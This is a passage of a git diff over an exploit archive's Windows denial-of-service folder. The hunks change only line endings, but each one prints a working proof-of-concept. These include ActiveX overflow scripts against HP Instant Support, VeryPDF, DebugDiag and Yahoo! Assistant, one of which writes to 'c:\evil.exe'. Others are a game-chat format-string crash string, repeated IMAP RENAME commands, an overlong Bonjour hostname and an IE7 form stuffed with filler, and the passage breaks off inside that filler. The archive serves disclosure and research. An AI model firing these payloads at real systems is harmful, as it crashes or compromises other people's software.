9d53d5202..92ecc096f 100755 --- a/platforms/windows/dos/31656.txt +++ b/platforms/windows/dos/31656.txt @@ -9,4 +9,4 @@ This issue affects ICQ 6 build 6043; other versions may also be vulnerable. ------ |<a href="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"><img src="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" border="0" /></a>| ------- \ No newline at end of file +------ \ No newline at end of file diff --git a/platforms/windows/dos/31748.txt b/platforms/windows/dos/31748.txt index 3310d9a8a..90c02b49b 100755 --- a/platforms/windows/dos/31748.txt +++ b/platforms/windows/dos/31748.txt @@ -6,4 +6,4 @@ Successfully exploiting this issue may allow remote attackers to execute arbitra The issue affects Yahoo! Assistant 3.6 and prior versions. -<object classid='clsid:2283BB66-A15D-4AC8-BA72-9C8C9F5A1691'> \ No newline at end of file +<object classid='clsid:2283BB66-A15D-4AC8-BA72-9C8C9F5A1691'> \ No newline at end of file diff --git a/platforms/windows/dos/31877.xml b/platforms/windows/dos/31877.xml index 0d64628d0..2a689b2d8 100755 --- a/platforms/windows/dos/31877.xml +++ b/platforms/windows/dos/31877.xml @@ -8,4 +8,4 @@ HP Instant Support 1.0.0.22 and earlier versions are affected. NOTE: This issue was previously covered in BID 29526 (HP Instant Support 'HPISDataManager.dll' ActiveX Control Unspecified Code Execution Vulnerabilities), but has been given its own record because of new information. -<?XML version='1.0' standalone='yes' ?> <package><job id='DoneInVBS' debug='false' error='true'> <object classid='clsid:14C1B87C-3342-445F-9B5E-365FF330A3AC' id='target' /> <script language='vbscript'> 'for debugging/custom prolog targetFile = "C:\WINDOWS\Downloaded Program Files\HPISDataManager.dll" prototype = "Property Let RegistryString ( ByVal bstrRegistryKey As String , ByVal bUserKey As Long ) As String" memberName = "RegistryString" progid = "HPISDataManagerLib.Datamgr" argCount = 3 arg1=String(2068, "B") arg2=1 arg3="defaultV" target.RegistryString(arg1 ,arg2 ) = arg3 </script></job></package> \ No newline at end of file +<?XML version='1.0' standalone='yes' ?> <package><job id='DoneInVBS' debug='false' error='true'> <object classid='clsid:14C1B87C-3342-445F-9B5E-365FF330A3AC' id='target' /> <script language='vbscript'> 'for debugging/custom prolog targetFile = "C:\WINDOWS\Downloaded Program Files\HPISDataManager.dll" prototype = "Property Let RegistryString ( ByVal bstrRegistryKey As String , ByVal bUserKey As Long ) As String" memberName = "RegistryString" progid = "HPISDataManagerLib.Datamgr" argCount = 3 arg1=String(2068, "B") arg2=1 arg3="defaultV" target.RegistryString(arg1 ,arg2 ) = arg3 </script></job></package> \ No newline at end of file diff --git a/platforms/windows/dos/31878.xml b/platforms/windows/dos/31878.xml index 7abf16c83..5fe898cbf 100755 --- a/platforms/windows/dos/31878.xml +++ b/platforms/windows/dos/31878.xml @@ -8,4 +8,4 @@ HP Instant Support 1.0.0.22 and earlier versions are affected. NOTE: This issue was previously covered in BID 29526 (HP Instant Support 'HPISDataManager.dll' ActiveX Control Unspecified Code Execution Vulnerabilities), but has been given its own record because of new information. -<?XML version='1.0' standalone='yes' ?> <package><job id='DoneInVBS' debug='false' error='true'> <object classid='clsid:14C1B87C-3342-445F-9B5E-365FF330A3AC' id='target' /> <script language='vbscript'> targetFile = "C:\WINDOWS\Downloaded Program Files\HPISDataManager.dll" prototype = "Sub AppendStringToFile ( ByVal bstrInputFileName As String , ByVal bstrInputString As String )" memberName = "AppendStringToFile" progid = "HPISDataManagerLib.Datamgr" argCount = 2 arg1="c:\evil.exe" arg2=String("CSIS entered this") target.AppendStringToFile arg1 ,arg2 </script></job></package> \ No newline at end of file +<?XML version='1.0' standalone='yes' ?> <package><job id='DoneInVBS' debug='false' error='true'> <object classid='clsid:14C1B87C-3342-445F-9B5E-365FF330A3AC' id='target' /> <script language='vbscript'> targetFile = "C:\WINDOWS\Downloaded Program Files\HPISDataManager.dll" prototype = "Sub AppendStringToFile ( ByVal bstrInputFileName As String , ByVal bstrInputString As String )" memberName = "AppendStringToFile" progid = "HPISDataManagerLib.Datamgr" argCount = 2 arg1="c:\evil.exe" arg2=String("CSIS entered this") target.AppendStringToFile arg1 ,arg2 </script></job></package> \ No newline at end of file diff --git a/platforms/windows/dos/31964.txt b/platforms/windows/dos/31964.txt index 8a15432ba..b52074b01 100755 --- a/platforms/windows/dos/31964.txt +++ b/platforms/windows/dos/31964.txt @@ -6,4 +6,4 @@ Exploiting this issue will allow attackers to execute arbitrary code with the pr When the following chat message is sent, the game client of every connected user will crash: -%5000000.x \ No newline at end of file +%5000000.x \ No newline at end of file diff --git a/platforms/windows/dos/32229.txt b/platforms/windows/dos/32229.txt index b1cf10fd4..4f6eb3568 100755 --- a/platforms/windows/dos/32229.txt +++ b/platforms/windows/dos/32229.txt @@ -12,4 +12,4 @@ A03 CREATE AAAAAAA ... A97 RENAME AAAAA BBBBB A98 RENAME AAAAAA BBBBBB -A100 RENAME AAAAAAA BBBBBBB \ No newline at end of file +A100 RENAME AAAAAAA BBBBBBB \ No newline at end of file diff --git a/platforms/windows/dos/32350.txt b/platforms/windows/dos/32350.txt index 1e16c281f..8e2506da4 100755 --- a/platforms/windows/dos/32350.txt +++ b/platforms/windows/dos/32350.txt @@ -6,4 +6,4 @@ Successfully exploiting this issue will allow attackers to crash the mDNSRespond Bonjour for Windows 1.0.4 is vulnerable. -http://diechromedie.1234567890123456789012345678901234567890123456789012345678901234.local/ \ No newline at end of file +http://diechromedie.1234567890123456789012345678901234567890123456789012345678901234.local/ \ No newline at end of file diff --git a/platforms/windows/dos/32550.html b/platforms/windows/dos/32550.html index 77cb43a0e..914d93c43 100755 --- a/platforms/windows/dos/32550.html +++ b/platforms/windows/dos/32550.html @@ -6,4 +6,4 @@ A successful attack allows a remote attacker to crash the application using the Microsoft DebugDiag 1.0 is vulnerable; other versions may also be affected. -<body> <object classid='clsid:7233D6F8-AD31-440F-BAF0-9E7A292A53DA' id='target' /> </object> <script language='vbscript'> arg1=-2147483647 target.GetEntryPointForThread arg1 </script> </body> \ No newline at end of file +<body> <object classid='clsid:7233D6F8-AD31-440F-BAF0-9E7A292A53DA' id='target' /> </object> <script language='vbscript'> arg1=-2147483647 target.GetEntryPointForThread arg1 </script> </body> \ No newline at end of file diff --git a/platforms/windows/dos/32587.txt b/platforms/windows/dos/32587.txt index 5b1d7ff93..b93a49055 100755 --- a/platforms/windows/dos/32587.txt +++ b/platforms/windows/dos/32587.txt @@ -4,4 +4,4 @@ The VeryPDF PDFView ActiveX control is prone to a heap buffer-overflow vulnerabi An attacker can exploit this issue to execute arbitrary code within the context of the affected application. Failed exploit attempts will result in denial-of-service conditions. -<object classid='clsid:433268D7-2CD4-43E6-AA24-2188672E7252' id='target'></object> <script language='vbscript'> Sub Boom buff = String(1006, "A") target.OpenPDF buff, 1, 1 End Sub </script> <input type=button onclick=Boom() value='Boom?'> \ No newline at end of file +<object classid='clsid:433268D7-2CD4-43E6-AA24-2188672E7252' id='target'></object> <script language='vbscript'> Sub Boom buff = String(1006, "A") target.OpenPDF buff, 1, 1 End Sub </script> <input type=button onclick=Boom() value='Boom?'> \ No newline at end of file diff --git a/platforms/windows/dos/32763.html b/platforms/windows/dos/32763.html index 957f7a0a5..622d1d425 100755 --- a/platforms/windows/dos/32763.html +++ b/platforms/windows/dos/32763.html @@ -8,4 +8,4 @@ Internet Explorer 7 on Windows XP SP3 is vulnerable; other versions running on d NOTE: This issue was originally published as a buffer-overflow vulnerability that could result in remote code execution. Further analysis and vendor reports, however, suggest that exploiting this issue may cause only a denial-of-service condition from stack exhaustion. This vulnerability cannot be exploited to execute arbitrary code. -<h1>Internet explorer 7.0 stack overflow</h1> (this work only in window xp) <form name="input" action="http://A" method="get"> <input type="text" name="A" value="CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC